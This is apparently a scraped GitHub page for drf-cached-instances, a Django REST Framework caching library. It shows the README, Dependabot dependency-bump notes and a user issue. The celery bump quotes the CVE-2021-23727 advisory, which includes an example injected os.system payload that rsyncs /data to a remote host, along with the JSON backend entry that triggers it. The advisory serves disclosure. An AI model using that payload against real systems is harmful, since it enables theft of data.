========================================== Cached Instances for Django REST Framework ==========================================
.. image:: http://img.shields.io/travis/jwhitlock/drf-cached-instances/master.svg :alt: The status of Travis continuous integration tests :target: https://travis-ci.org/jwhitlock/drf-cached-instances
.. image:: https://img.shields.io/coveralls/jwhitlock/drf-cached-instances/master.svg :target: https://coveralls.io/r/jwhitlock/drf-cached-instances :alt: The code coverage
.. image:: https://img.shields.io/pypi/v/drf-cached-instances.svg :alt: The PyPI package :target: https://pypi.python.org/pypi/drf-cached-instances
.. image:: https://img.shields.io/pypi/dm/drf-cached-instances.svg :alt: PyPI download statistics :target: https://pypi.python.org/pypi/drf-cached-instances
.. image:: https://www.herokucdn.com/deploy/button.png :alt: Deploy to Heroku :target: https://heroku.com/deploy?template=https://github.com/jwhitlock/drf-cached-instances
.. Omit badges from docs
Speed up Django REST Framework
_ (DRF) reads by storing instance data in cache.
This code was split from browsercompat_. You may be interested in viewing the browsercompat source code for a full example implementation.
Mozilla Public License Version 2.0
_In a normal DRF view, a Django queryset is used to load an object or list of
objects. A serializer is used to convert the objects into the "native"
representation, and then a renderer works on this native representation. If
the serializer includes data from related models, then multiple database
queries may be required to generate a native representation. Some database
efficiency can be gained by using select_related
, but a minimum of one query
is needed, which is unfortunate for an API with heavy read usage.
This project replaces the Django queryset with a cache-aware proxy class, making it possible to serve a read request with zero database requests (to retrieve an instance) or one request (to get the primary keys for a list view). It is suitable for APIs with heavy read operations and lots of linking between related instances.
When using the cache, Django objects are serialized to JSON. Only the attributes needed for the DRF native representation are stored in the cache. This include the JSON representation of fields such as foreign keys, reverse relations, and dates and times. These serialized objects are stored by primary key in the cache. When an instance is found in the cache, no database reads are needed to render the DRF representation. If the instance is not in the cache, it is serialized and stored, so that future reads will be faster.
The API implementor writes methods to handle JSON serialization, loading from the database, and identifying invalid cache entries on changes. There are a few integration points, including a mixin for views to load data from the cache. With only a few changes to existing code, your read views could be a lot faster.
This code is used for the browsercompat_ project, which was developed from 2015 - 2016, but is on hold as of August 2016. Since this was the primary user of this code, it may be a while before more features are implemented.
.. Django REST Framework
: http://www.django-rest-framework.org
.. browsercompat
: https://github.com/mdn/browsercompat
.. _Mozilla Public License Version 2.0
: https://www.mozilla.org/MPL/2.0/
Bumps wheel from 0.29.0 to 0.38.1.
Sourced from wheel's changelog.
Release Notes
UNRELEASED
- Updated vendored
packaging
to 22.00.38.4 (2022-11-09)
- Fixed
PKG-INFO
conversion inbdist_wheel
mangling UTF-8 header values inMETADATA
(PR by Anderson Bravalheri)0.38.3 (2022-11-08)
- Fixed install failure when used with
--no-binary
, reported on Ubuntu 20.04, by removingsetup_requires
fromsetup.cfg
0.38.2 (2022-11-05)
- Fixed regression introduced in v0.38.1 which broke parsing of wheel file names with multiple platform tags
0.38.1 (2022-11-04)
- Removed install dependency on setuptools
- The future-proof fix in 0.36.0 for converting PyPy's SOABI into a abi tag was faulty. Fixed so that future changes in the SOABI will not change the tag.
0.38.0 (2022-10-21)
- Dropped support for Python < 3.7
- Updated vendored
packaging
to 21.3- Replaced all uses of
distutils
withsetuptools
- The handling of
license_files
(including glob patterns and default values) is now delegated tosetuptools>=57.0.0
(#466). The package dependencies were updated to reflect this change.- Fixed potential DoS attack via the
WHEEL_INFO_RE
regular expression- Fixed
ValueError: ZIP does not support timestamps before 1980
when usingSOURCE_DATE_EPOCH=0
or when on-disk timestamps are earlier than 1980-01-01. Such timestamps are now changed to the minimum value before packaging.0.37.1 (2021-12-22)
- Fixed
wheel pack
duplicating theWHEEL
contents when the build number has changed (#415)- Fixed parsing of file names containing commas in
RECORD
(PR by Hood Chatham)0.37.0 (2021-08-09)
- Added official Python 3.10 support
- Updated vendored
packaging
library to v20.9
... (truncated)
6f1608d
Created a new releasecf8f5ef
Moved news item from PR #484 to its proper place9ec2016
Removed install dependency on setuptools (#483)747e1f6
Fixed PyPy SOABI parsing (#484)7627548
[pre-commit.ci] pre-commit autoupdate (#480)7b9e8e1
Test on Python 3.11 finala04dfef
Updated the pypi-publish action94bb62c
Fixed docs not building due to code style changesd635664
Updated the codecov action to the latest versionfcb94cd
Updated version to match the releaseDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase
.
Bumps ipython from 5.1.0 to 7.16.3.
d43c7c7
release 7.16.35fa1e40
Merge pull request from GHSA-pq7m-3gw7-gq5x8df8971
back to dev9f477b7
release 7.16.2138f266
bring back release helper from master branch5aa3634
Merge pull request #13341 from meeseeksmachine/auto-backport-of-pr-13335-on-7...bcae8e0
Backport PR #13335: What's new 7.16.28fcdcd3
Pin Jedi to <0.17.2.2486838
release 7.16.120bdc6f
fix conda buildDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase
.
Bumps celery from 3.1.23 to 5.2.2.
Sourced from celery's releases.
5.2.2
Release date: 2021-12-26 16:30 P.M UTC+2:00
Release by: Omer Katz
Various documentation fixes.
Fix CVE-2021-23727 (Stored Command Injection security vulnerability).
When a task fails, the failure information is serialized in the backend. In some cases, the exception class is only importable from the consumer's code base. In this case, we reconstruct the exception class so that we can re-raise the error on the process which queried the task's result. This was introduced in #4836. If the recreated exception type isn't an exception, this is a security issue. Without the condition included in this patch, an attacker could inject a remote code execution instruction such as:
os.system("rsync /data [email protected]:~/data")
by setting the task's result to a failure in the result backend with the os, the system function as the exception type and the payloadrsync /data [email protected]:~/data
as the exception arguments like so:{ "exc_module": "os", 'exc_type': "system", "exc_message": "rsync /data [email protected]:~/data" }
According to my analysis, this vulnerability can only be exploited if the producer delayed a task which runs long enough for the attacker to change the result mid-flight, and the producer has polled for the task's result. The attacker would also have to gain access to the result backend. The severity of this security vulnerability is low, but we still recommend upgrading.
v5.2.1
Release date: 2021-11-16 8.55 P.M UTC+6:00
Release by: Asif Saif Uddin
- Fix rstrip usage on bytes instance in ProxyLogger.
- Pass logfile to ExecStop in celery.service example systemd file.
- fix: reduce latency of AsyncResult.get under gevent (#7052)
- Limit redis version: <4.0.0.
- Bump min kombu version to 5.2.2.
- Change pytz>dev to a PEP 440 compliant pytz>0.dev.0.
... (truncated)
Sourced from celery's changelog.
5.2.2
:release-date: 2021-12-26 16:30 P.M UTC+2:00 :release-by: Omer Katz
Various documentation fixes.
Fix CVE-2021-23727 (Stored Command Injection security vulnerability).
When a task fails, the failure information is serialized in the backend. In some cases, the exception class is only importable from the consumer's code base. In this case, we reconstruct the exception class so that we can re-raise the error on the process which queried the task's result. This was introduced in #4836. If the recreated exception type isn't an exception, this is a security issue. Without the condition included in this patch, an attacker could inject a remote code execution instruction such as:
os.system("rsync /data [email protected]192.168.56.100:~/data")
by setting the task's result to a failure in the result backend with the os, the system function as the exception type and the payloadrsync /data [email protected]:~/data
as the exception arguments like so:.. code-block:: python
{ "exc_module": "os", 'exc_type': "system", "exc_message": "rsync /data [email protected]:~/data" }
According to my analysis, this vulnerability can only be exploited if the producer delayed a task which runs long enough for the attacker to change the result mid-flight, and the producer has polled for the task's result. The attacker would also have to gain access to the result backend. The severity of this security vulnerability is low, but we still recommend upgrading.
.. _version-5.2.1:
5.2.1
:release-date: 2021-11-16 8.55 P.M UTC+6:00 :release-by: Asif Saif Uddin
- Fix rstrip usage on bytes instance in ProxyLogger.
- Pass logfile to ExecStop in celery.service example systemd file.
- fix: reduce latency of AsyncResult.get under gevent (#7052)
- Limit redis version: <4.0.0.
- Bump min kombu version to 5.2.2.
... (truncated)
b21c13d
Bump version: 5.2.1 → 5.2.2a60b486
Add changelog for 5.2.2.3e5d630
Fix changelog formatting.1f7ad7e
Fix CVE-2021-23727 (Stored Command Injection securtiy vulnerability).2d8dbc2
Update configuration.rst9596aba
Fix typo in documentation639ad83
update doc to reflect Celery 5.2.x (#7153)d32356c
Bump version: 5.2.0 → 5.2.16842a78
Merge branch 'master' of https://github.com/celery/celery4c92cb7
changelog for v5.2.1Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase
.
Bumps werkzeug from 0.11.10 to 0.15.3.
Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase
.
Is there currently a way to utilize nested serializers within drf-cached-instances? When I try to use cachedviewsetmixin on my viewset I get the following error:
Got AttributeError when attempting to get a value for field `type` on serializer `NestedSerializer`.
The serializer field might be named incorrectly and not match any attribute or key on the
`PkOnlyModel` instance.
Original exception text was: 'PkOnlyModel' object has no attribute 'type'.
update_only
option to cache.update_instance
, to support eventual
consistency for cold caches.Developer at @mozilla working on Firefox Relay. Formerly on @mdn, crash reporting, symbols, location services, and taskcluster.
GitHub Repository